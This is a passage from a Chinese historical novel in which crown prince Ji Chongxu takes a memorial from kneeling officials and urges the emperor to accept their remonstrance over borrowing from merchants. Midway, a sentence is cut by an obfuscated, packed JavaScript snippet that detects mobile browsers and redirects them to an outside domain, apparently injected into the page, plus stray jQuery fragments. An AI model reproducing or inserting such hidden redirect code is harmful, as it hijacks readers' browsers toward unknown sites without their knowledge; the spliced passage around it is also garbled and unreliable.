余介林震颤而苍老的声音响彻整个东宫,纪重珝突然想起在几天前,他婉拒余介林反对加税,那时的余介林,好像也是这个眼神——泛红的眼眶,浑浊的眼珠看着他,死抓着他的良心。
余介林可能对他很失望,没想到亲手带出来的学生,竟然是个胆小怕事之辈,唯君父是从。
像是没长大的孩子。
“余师傅。”纪重珝沉吟片刻,“我不赞成您的观点。”
余介林皱眉,疑惑道:“这是怎么说?”
纪重珝欲言又止,另一只手也握住了余介林。
“余师傅,您从前教我,要至真至诚。我今日便也和您托底,也是为官家做个解释。”
余介林忙道:“殿下请讲。”
纪重珝深吸一口气,又缓缓吐出,诚恳道:“众人都以为我没什么主意,只知道听官家的话。我也不愿解释什么,也不必解释。但师傅知道我的性情,若是违背我心意的事,就算多少人劝我,我也不会做。”
余介林默默收回了握着纪重珝的手,纪重珝忙伸手再次握住。
“借商济困,我不认为是错的,也不认为有什么耻辱——官家想必也是这么想的。但若是此事引起百官愤懑,那孤也应该劝官家纳谏。”
余介林哽咽,拱手道:“殿下大义。”
崇文殿外,为首的中书舍人江明恕将联名奏疏高举过头顶。林兴怀入殿前,看到江明恕满头大汗、嘴唇干裂的模样,不禁叹了口气,停下了脚步。
同行的户部侍郎一愣,一时不知该走不该走。
“行之,你这是何苦呢?”林兴怀话里并没有落井下石的意思,只是苦口婆心道,“连官家都准了的事,你们在这里闹,不是让官家难堪吗?”
江明恕像没听见似的,反而掷地有声道:“天下安危系于宸衷独断,朝堂得失关乎万民生息。昔日商纣拒谏而鹿台自焚,秦二世闭言而咸阳血浸;反观文景纳言则四海升平,贞观听谏方有万国来朝。今臣虽肝脑涂地,亦要泣血进言:陛下若肯垂听逆耳忠言,便是苍生之福、社稷之幸!若执意壅蔽视听,恐百年基业毁于一旦!此非为臣等私利,实乃为江山社稷、黎民苍生!恳请陛下纳谏!”
说着,便再次叩地。百官也跟着齐呼:“恳请陛下纳谏!”
那声音响彻云霄,似乎连大地都为之震动。
“你们……”林兴怀指着他们,迟迟说不出一句话。
“这是吵什么?”林兴怀一惊,循声看去——是纪重珝。
纪重珝从正门进来,穿过红衣似血的文官一众。毕竟这些文官是在大热天跪了几个时辰,整个殿前广场都有一股难以名状的气味,夏总管不由得掩鼻。
纪重珝看了他一眼,夏烨忙放下手。
林兴怀忙行礼,“见过太子殿下。”
江明恕和那一众文官却没有行礼。江明恕紧绷着身体,仿佛他已经在坚硬的地砖扎根,犹如松柏。
“若殿下也是来劝臣等回去的,那便无需多言了——臣等今日,就算是在殿前渴死、热死,也要让陛下看到这奏疏。林兴怀之荒唐。世人皆知,臣不信,官家真要听信他的谗言,弃大嵩脸面于不顾。”
林兴怀强压着怒火,也没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304978|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说什么。
纪重珝则道:“我大嵩有如此忠臣,是官家之幸,也是我朝之幸。”他伸出手,双手接过江明恕手中的奏折。
“殿下!”林兴怀急得上前几步,“殿下,万万不可啊。”
“既然如此,那便由孤来转交官家。”
“殿下。”纪重珝转过身后,林兴怀忙低声劝道,“但愿殿下清楚自己在做什么——这可不是闹意气的时候。”
“孤知道,多谢林参政提醒。”纪重珝礼貌地推开林兴怀,只身走进大殿,殿门外的内侍俯身。
林兴怀“哎呀”一声,也追了进去。
“林参政来了?”
殿内,纪铭听到符月走来通报,头也不抬地问道。
“回官家,是林参政和卢侍郎……”符月面露难色,但还是继续道,“殿下也来了。”
闻言,纪铭写字的手一顿。
“儿臣叩见陛下。”
“臣……”林兴怀等人也要行礼,奈何被纪铭打断。
“让林参政和卢侍郎在偏殿稍候片刻。”纪铭看了看纪重珝,发现他手上拿着奏折,眯了眯眼,“朕有几句话要和朕的儿子说。”
符月应下,忙带着林兴怀和卢侍郎离开了。
“怎么?你那个老师又拜托你了?”纪铭语气里有明显的不快。
纪重珝有三位讲学的老师,分别是许比玉、余介林和韩梓熙。韩梓熙是绝对不可能干这种事的,毕竟那人比谁都懂得趋利避害。而许比玉是大儒,今日来谏诤的也大多是他的学生。
江明恕虽不是学生,但也和许比玉有深交。但许比玉这人却性格很怪,尖酸刻薄是一点,从不理会这些纷争也是一点。许比玉对于纪重珝也很疏远,若不是纪重珝叫他,他从不会主动到东宫去。
这么看下来,纪铭口中的老师,只能是尚书省兼任翰林学士的余介林。
“回官家,无人拜托儿臣,是儿臣自发来请官家纳谏。”
纪铭冷哼一声,“哼,没学到正经的,这些场面话倒是学得很好。朕也不知是该夸你,还是该骂你啊。”
纪重珝并没有顺着他的话说,只是将奏疏高举过头顶,恳切道:“官家,外廷百官已跪三时有余。若再僵持,恐生不测。儿臣斗胆进言:倘真有不测之事,载于史册,后世论及,是谓群臣愚直,还是谓官家拒谏、不纳忠言?愿官家三思。”
“那就把他们赶回去!”纪铭怒道,“反了天了!他们打量着朕念着‘不杀文官’的祖训,便肆意妄为,把朕都不放在眼里了。还说什么是为了我大嵩的脸面,可笑至极!向商人借几个钱,怎么就丢了列祖列宗的脸了?难道要等朕的百姓都饿死,他们才肯罢休?”
“儿臣恳请官家三思!”纪重珝跪地,无畏地看着纪铭,“父皇,儿臣非敢求父皇弃借商资、济国困之策。唯忧今日若拒纳群言,异日臣工必惮于进谏,忠良之心或将渐冷。儿臣是一番苦心,还请父皇明察。”
“明察?”纪铭气极,指着他,“好啊,好啊,你也反了天了。忠良?什么忠良?这帮儒士还真是有本事,能把朕的儿子也煽动起来反对朕了,过几日是不是就要谋反了?”
说的是儒士,却是对着纪重珝——谋反之问,分明问的是纪重珝。纪重珝顿时大脑一片空白,但他强迫自己尽快思考。
至真至诚,这话是余介林教他的。但他配不上这几个字,他从诞生到这偌大的皇宫以来,就和“真”、“诚”二字脱了干系了。
说谎说多了,连纪重珝自己也分不清真假了。或许,他现在就是在说实话。
“父皇!”纪重珝声泪俱下,他的眼睛蓄满了泪,看着纪铭。
纪铭从那双清澈的眼睛里隐约看到了一点自己的影子,他有些动容,别过脸去,不忍看了。
“若父皇疑儿臣有不臣之心,儿臣百喙难辩,唯有一死。然儿臣死前有恳,愿陛下垂听:观百官曝于烈日,不加援手,是为不仁;任群臣在外叩请,不为分忧,是为不忠;见父皇将失青史明君之名,坐视不救,是为不孝。儿臣所为,皆为父皇解烦、为大嵩纾难。若存半分私念,纵受千刀万剐,亦难赎其罪啊!”